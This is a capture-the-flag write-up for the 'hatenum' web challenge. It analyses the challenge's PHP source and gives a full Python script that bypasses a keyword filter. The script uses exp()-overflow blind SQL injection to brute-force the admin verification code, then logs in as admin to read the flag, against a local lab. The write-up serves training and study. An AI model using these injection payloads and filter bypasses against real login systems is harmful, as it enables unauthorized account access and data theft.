2021-Digital China Innovation Competition-Huifu Cybersecurity Track-Final-Web-hatenum and source code analysis and payload script analysis

0 30
2021-Digital China Innovation Competition-Huifu Cybersecurity Track-Final-Web-ha...

2021-Digital China Innovation Competition-Huifu Cybersecurity Track-Final-Web-hatenum and source code analysis and payload script analysis

(CTFHUB platform)

Home page

image.png

Source code analysis

  • The directory structure of the source code is as follows:
    image.png

  • 2021-Digital China Innovation Competition-Huifu Cybersecurity Track-Final-Web-hatenum and source code analysis and payload script analysis

    index.php

    • Home page, using the POST method to submit the login form to login.php

  • config.php

    • User class, including MySQL database login, user query, user creation, and user information verification (login) functions

      • Among them, the user information verification in login contains SQL statement concatenation and code verification (code comes from $res, $res comes from the information selected by select, so it is guessed that the value of code is unique (whether it is unique for all users or for a single user needs to be confirmed))

      • image.png

    • array_waf recursively checks the received data, performing num_waf digit detection (9-digit decimal or 9-digit hexadecimal) and sql_waf detection (checking for key characters)

  • register.php

    • Include config.php

    • Waf detects the data submitted by index

    • Limit the maximum length of username to 30

    • User.find checks if the username exists, if it exists, return to index, if not, User.register to register an account

  • login.php

    • Include config.php

    • Waf detects the data submitted by index

    • If all the data items in the form are not empty, then User.login(form data), use the form data to log in (matching the database information)

    • If successful, jump to the home page (definitely carrying the cookie), if failed, go to index to log in again

  • home.php

    • Check if the username of the logged-in user is 'admin', if so, echo file_get_contents('/flag') returns flag information

Thoughts

To get the flag, only admin needs to log in successfully, so it is necessary to bypass the password with SQL injection. Since code is directly judged and not in the SQL statement, code cannot be bypassed, as it is unique and there is no login time limit, so brute force attack can be carried out

  • 0, Verify the uniqueness of the code value and try to crack the code value

  • 1.1, Use 'admin' directly to bypass password verification and log in using code

  • 1.2, Try vertical privilege escalation based on the response packet and cookie value

Start the operation

Bypass waf

sql_waf is'/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i'
The number waf is'/\d{9}|0x[0-9a-f]{9}/i'

  • Password bypass as follows:

username=admin
password=||1#
select * from users where username='admin' and password='||1#'
  • 爆破code
    According to sql_waf and sql statement (the injection point is only password) and home return value as flag or hello username, the returned content is limited only toerrorandlogin failTwo (since the code is cracked through password, the value of the code is not important and can be ignored, i.e., it is impossible to appear login success), so boolean brute force is adopted

    • Brute force success is login fail

    • Brute force error is error

Boolean brute force

Brute force usually uses these keywords: string truncation type (substr), conditional judgment type (if), statement separation type (spaces, /**/), logical judgment type (and, or, >, <, =, !=), ASCII, comment symbols (--, #)

String truncation type

  • Disabled: substr, left, right, mid

  • Bypass: like, rlike, instr

The difference between like and rlike is that rlike supports regular expressions, while like only supports a limited set of wildcard characters such as %, _.

Statement separation

  • Disabled: spaces, r(%0d), n(%0a), t(%09)

The statement is often separated by spaces

  • Bypass: %a0 (&nbsp), %0b (vertical tab), %0c (form feed)

Logical operations

  • Disabled: and, or, =, >, <, regexp

  • Bypass: &&, ||, like, greatest, least

Condition judgment (case, nullif)

  • Disabled: Because it has disabled,Therefore, the if statement cannot be used ----------------------

Brute force approach: First, brute force the length, then brute force the characters in order.

Write a script (payload parsing)

Since it is uncertain whether the code is unique for each user or a separate code for each user, the following payload must restrict the username to 'admin'.

  • Get the length of the code

  • The payload is ||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#

    • && username rlike 0x61646d &&Restrict username to include adm (i.e., admin) and appropriately modify the matching characters to prevent usernames like adm111, and check if the cracking code is the same.

# 0x61646d decoded is adm 
def get_code_length():
    for i in range(20):
        guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
        # guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
        payload=guess_length_payload.replace(' ',chr(0x0b))
        data={
            'username':'admin\\',
            'password':payload,
            'code':'123'
        }
        response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
        if 'fail' in response.text:
            return i
        
    return False
  • Get code

  • payload:||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#

    • Since the waf limits the detection of hexadecimal or decimal numbers over 9 characters, 8 hexadecimal digits (i.e., 4 characters) are chosen for matching to bypass the waf

    • Since ordinary rlike cannot accurately match case, binary comparison is used (which can compare case)

Note:

  • Since only 3-4 characters can be matched each time andrlikeIt can only match the first one from left to right, which may cause errors in the result when there are repeated characters in the code, and the end characters may not be matchedimage.png

  • Therefore, add tail matching and analyze from multiple dimensionsimage.png

  • This is still somewhat different from the real code, but through analysis, it is possible to enumerate the result with a very small amount of data

def str2hex(raw):
    ret = '0x'
    for i in raw:
    
        # ord returns the corresponding ASCII value, hex returns the hexadecimal number as a string, and rjust returns a string of length 2, replacing with 0 if insufficient
        # Convert to hexadecimal, hexadecimal is automatically converted to a string when executed in the database
        ret += hex(ord(i))[2:].rjust(2,'0')
    return ret


def get_code(length):
    # Match from the beginning
    tmp='^'
    result1=''
    while len(result1) < length:
    # Do not know if it contains special characters and numbers, use letters for matching first
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result1+=i
                if len(tmp) == 3:
                    tmp=tmp[1:]+i
                else:
                    tmp+=i
                break
        log.info(f'result1 =>{result1}')
    # Match from the end
    tmp='$'
    result2=''
    while len(result2) < length:
    # Do not know if it contains special characters and numbers, use letters for matching first
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result2=i+result2
                if len(tmp) == 3:
                    tmp=i+tmp[:-1]
                else:
                    tmp=i+tmp
                break
        log.info(f'result2 =>{result2}')

    if result2==result1:
        return result1
    else:
        log.debug(f'Length: {length}, result1: {result1}, result2: {result2}')
    
        return input('Enter the analyzed result:')
  • Get flag

  • Note: Allow redirection (default), match flag characters such as hub in the response body

def get_flag(code):
    guess_str_payload='||1#'
    payload=guess_str_payload.replace(' ',chr(0x0b))
    data={
        'username':'admin',
        'password':payload,
        'code':code
    }
    response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
    if 'hub' in response.text:
        return response.text
    else:
        return False

Total code

import requests
from loguru import logger as log
import string

base_url='http://127.0.0.1/hatenum'


# 0x61646d decoded is adm 
def get_code_length():
    # guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {}))#'
    for i in range(20):
        guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
        # guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
        payload=guess_length_payload.replace(' ',chr(0x0b))
        data={
            'username':'admin\\',
            'password':payload,
            'code':'123'
        }
        response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
        if 'fail' in response.text:
            return i
        
    return False


def str2hex(raw):
    ret = '0x'
    for i in raw:
    
        # ord returns the corresponding ASCII value, hex returns the hexadecimal number as a string, and rjust returns a string of length 2, replacing with 0 if insufficient
        # Convert hexadecimal16进制在数据库执行查询时又默认转换成字符串
        ret += hex(ord(i))[2:].rjust(2,'0')
    return ret


def get_code(length):
    # Match from the beginning
    tmp='^'
    result1=''
    while len(result1) < length:
    # Do not know if it contains special characters and numbers, use letters for matching first
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result1+=i
                if len(tmp) == 3:
                    tmp=tmp[1:]+i
                else:
                    tmp+=i
                break
        log.info(f'result1 =>{result1}')
    # Match from the end
    tmp='$'
    result2=''
    while len(result2) < length:
    # Do not know if it contains special characters and numbers, use letters for matching first
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result2=i+result2
                if len(tmp) == 3:
                    tmp=i+tmp[:-1]
                else:
                    tmp=i+tmp
                break
        log.info(f'result2 =>{result2}')

    if result2==result1:
        return result1
    else:
        log.debug(f'Length: {length}, result1: {result1}, result2: {result2}')
    
        return input('Enter the analyzed result:')

def get_flag(code):
    guess_str_payload='||1#'
    payload=guess_str_payload.replace(' ',chr(0x0b))
    data={
        'username':'admin',
        'password':payload,
        'code':code
    }
    response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
    if 'hub' in response.text:
        return response.text
    else:
        return False


if __name__=='__main__':
    length = get_code_length()
    log.debug(f'The length of code is: {length}')
    if length:
        code=get_code(length)
        log.debug(f'The code used is: {code}')
        flag=get_flag(code)
        if flag:
            log.success(f'{flag}')
        else:
            log.error('Failed to obtain flag')

reference

2021-HuHu Network Security Track-hatenum | exp() Function and Regular Expression Filtering-CSDN Blog

[Article - How to Use MySQL exp() Function for SQL Injection - XZ Community](https://xz.aliyun.com/news/9304#:~:text=We know that for each increment in the exponent, the result will vary greatly, and the range of Double numeric values that MySQL can record is limited. Once the result exceeds the range, the function will report an error. The limit of this range is 709, and passing a number greater than this will cause an overflow error: In addition to exp(), similar functions like pow() are also exploitable, and their principles are the same.

你可能想看:

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

Distributed Storage Technology (Part 2): Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

As announced today, Glupteba is a multi-component botnet targeting Windows computers. Google has taken action to disrupt the operation of Glupteba, and we believe this action will have a significant i

In today's rapidly developing digital economy, data has become an important engine driving social progress and enterprise development. From being initially regarded as part of intangible assets to now

b) It should have a login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal login attempts, and automatically logging out w

Ensure that the ID can be accessed even if it is guessed or cannot be tampered with; the scenario is common in resource convenience and unauthorized vulnerability scenarios. I have found many vulnerab

Data security can be said to be a hot topic in recent years, especially with the rapid development of information security technologies such as big data and artificial intelligence, the situation of d

Deception defense for advanced threat detection: enhance security orchestration, automation, and response capabilities

Article 2 of the Cryptography Law clearly defines the term 'cryptography', which does not include commonly known terms such as 'bank card password', 'login password', as well as facial recognition, fi

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

最后修改时间:
admin
上一篇 2025年03月25日 18:37
下一篇 2025年03月25日 19:00

评论已关闭